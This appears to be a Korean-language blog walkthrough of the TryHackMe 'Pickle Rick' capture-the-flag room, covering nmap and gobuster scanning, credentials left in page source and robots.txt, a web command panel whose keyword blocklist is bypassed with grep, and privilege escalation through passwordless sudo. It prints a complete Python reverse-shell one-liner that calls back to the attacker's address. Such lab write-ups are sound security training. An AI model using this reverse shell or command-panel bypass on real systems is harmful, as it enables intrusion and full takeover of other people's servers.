TryHackMe

TryHackMe - Pickle Rick🥒(WriteUp)

HackHiJack 2021. 1. 10. 19:17
728x90
반응형

릭앤모티 애니매이션 시즌3의 4화에 릭이 피클로 변한것을 모티브로 PickleRick룸을 TryHackMe 플랫폼에서 만들었다.

 

릭앤모티 시즌3의 4화 링크 : www.youtube.com/watch?v=DtgILOsZZ-w

 

 

이 PickleRick 룸은 릭이 피클에서 다시 사람으로 변신하기 위해 필요한 재료를 문제에서 준 ip 주소를 분석하여 제출 해야하는 문제이다.

 

PickleRick:

이런 그림이고 룸으로 들어가면

 

이렇게 설명 나와있다.

오른쪽 위에 deploy 버튼을 눌러 서버 ip를 확인해보자.

생성 후 서버 상황에 따라 약 1분 뒤에 ip가 나타날 것이다.

 

이제 본격적으로 분석을 해보자.

먼저 nmap을 이용하여 열려있는 포트와 정보들을 확인하자

mkdir nmap

nmap -sC -sV -oN nmap/analyze [YourIP]

일단 nmap 파일 생성 후 확인해보면

Apache Ubuntu 서버이다.

그리고 80(http), 22(ssh) 포트가 열려있다.

 

nmap 딱히 도움이 되지는 않는 것 같다.

 

서버 페이지를 일단 gobuster로 bruteforce하여 있는 페이지를 알아보자.

gobuster를 설치한후 (sudo apt-get install gobuster)

git clone https://github.com/daviddias/node-dirbuster

로 bruteforce 파일을 설치한다.

그리고

gobuster dir -u [deploy한 ip] -w /파일위치/node-dirbuster/lists/directory-list-lowercase-2.3-medium.txt -x php,sh,js,txt,py,html

그러면 분석하는 화면이 나올 것이다.

 

조금 시간이 지나면 어느 페이지가 있는지 알 수 있다. 

-x 옵션으로 거의 모든 페이지가 분석됐다.

 

이제 사이트에 접속 해보자.

deploy한 ip 주소로 접속하자

이렇게 화면처럼 접속이 된다.

밑의 내용은 내충 릭이 피클로 돌아와야 해서 모티에게 도움을 청하는 내용이다.

자신의 컴퓨터에 접속해서 3개의 약의 재료를 찾아야한다.

 

일단 페이지 소스를 확인하자.

R1ckRul3s 이게 id 인것 같다.

그리고 gobuster 나온 결과를 보니 robots.txt가 있다.

 

robots.txt로 들어가니 Wubbalubbadubdub라고 릭이 애니매이션에서 말하는 유행어가 나온다.

 

이제 다음으로 login.php로 들어가자

아마도 portal.php로 접속해도 로그인이 안되어 있으면 login.php로 이동하고 로그인 되어 있으면 portal.php로 이동하는 것 같다.

일단 지금 얻은 정보가 id:R1ckRul3s 이니 password는 Wubbalubbadubdub일것이다.

 

두 정보로 로그인 하면 로그인이 된다.

그러면 portal.php로 이동된다.

 

그러면 command panel이 나온다.

ls를 하면

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

이렇게 나온다.

 

그래서 cat Sup3rS3cretPickl3Ingred.txt를 했는데 오류가 난다.

그래서 다른 more, tail, vim, head, vi도 했지만 오류가 난다.

 

인터넷에 찾아보니 파일 안의 문자열을 보는 명령어는 grep도 있었다.

grep . Sup3rS3cretPickl3Ingred.txt

명령을 하니 첫번째 재료가 나온다.

 

그리고 전체를 모든 문자열을 보기 위해 grep -R . 옵션을 사용하여 모든 문자열을 나타낸뒤 페이지소스를 열고 새로고치을 해보자.

그러면 모든 문자열이 나와있다.

 

중요한 걸 보면,

login.php:<?php
login.php:session_start();
login.php:$errorMsg = "";
login.php:$validUser = $_SESSION["login"] === true;
login.php:if(isset($_POST["sub"])) {
login.php:  $validUser = $_POST["username"] == "R1ckRul3s" && $_POST["password"] == "Wubbalubbadubdub";
login.php:  if(!$validUser) $errorMsg = "Invalid username or password.";
login.php:  else $_SESSION["login"] = true;
login.php:}
login.php:if($validUser) {
login.php:   header("Location: /portal.php"); die();
login.php:}
login.php:?>

일단 id 와 pw는 우리가 생각한게 맞았다.

그리고 다음 중요한 부분은 

portal.php:    <?php
portal.php:      function contains($str, array $arr)
portal.php:      {
portal.php:          foreach($arr as $a) {
portal.php:              if (stripos($str,$a) !== false) return true;
portal.php:          }
portal.php:          return false;
portal.php:      }
portal.php:      // Cant use cat
portal.php:      $cmds = array("cat", "head", "more", "tail", "nano", "vim", "vi");
portal.php:      if(isset($_POST["command"])) {
portal.php:        if(contains($_POST["command"], $cmds)) {
portal.php:          echo "</br><p><u>Command disabled</u> to make it hard for future <b>PICKLEEEE RICCCKKKK</b>.</p><img src='assets/fail.gif'>";
portal.php:        } else {
portal.php:          $output = shell_exec($_POST["command"]);
portal.php:          echo "</br><pre>$output</pre>";
portal.php:        }
portal.php:      }
portal.php:    ?>

여기에 "cat", "head", "more", "tail", "nano", "vim", "vi"가 사용할 수 없다고 되어 있다.

 

그러면 이제 nc로 원격 접속을 해야한다.

그런데 원격접속을 할려면 nc를 사용해야 하는데 사용이 안된다. 

python이 되는지 확인해보자 

python은 안되고, python3가 모듈은 있다.

 

그러면 원격접속을 위해 reverse shell cheat sheet 명령어를 사용한다.

github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

위의 사이트는 reverse shell cheat sheet를 python으로 사용하는 방법이 나온다.

 

일단 터미널에 nc -l 9999를 명령어를 실행한다.(그리고 gobuster 실행한 것은 종료한다.)

 

그리고 사이트에 넣을 명령어를 설정한다.

reverse shell cheat shell을 사용하기 위해서 tun0의 ip가 필요하다.

ip addr show tun0을 사용해서 나온 ip를 

밑의 명령어 중간에 넣는다.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("tun0의 아이피",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

그리고 사이트에 명령어를 실행하면 터미널에 접속이 될 것이다.

 

터미널에는 원래 사이트의 command 창과 똑같이 나올것이다.

 

여기서 우연히 sudo su 명령어를 했는데 아무런 반응이 없었다.

그래서 재접속했다. ( sudo su 명령어를 사용하면 재접속해야 하므로 하지 말기를 추천함)

실제로 약간의 오류인 것 같다.

 

그래서 셀을 업그레이드 하기 pty모듈을 사용한다.

python3 -c 'import pty; pty.spawn("/bin/bash")'

이렇게 명령어를 터미널에 치면 무언가가 바뀌었을 것이다.

 

이 상태에서 sudo su를 입력해보자.

그러면 신기하게도 비밀번호 없이 로그인이 가능하다.(나도 우연히 알아냄)

 

일단 cd /home으로 들어가자

그러면 rick하고 ubuntu가 있는데 rick으로 먼저 들어가자

 

ls를 하면 second ingredients라는 파일이 나온다.

근데 파일명이 띄워져 있어서, cat 파일명으로 못한다.

그러므로 grep -R . 을 사용하자.

마지막 재료도 쉬운데에 있다.

그냥 이 상태에서 cd 또는 cd /root를 하면 /root로 이동된다.

그 디렉토리에 3rd.txt라는 파일이 있는데 그게 3번째 재료이다.

이렇게 오늘은 릭을 피클에서 사람으로 바꾸는 약의 재료를 웹 분석을 통해 찾았다.

내가 분석하면서 적어놨던 README.md 파일을 문제가 있으면 참고하면된다.

README.md
0.00MB

728x90
반응형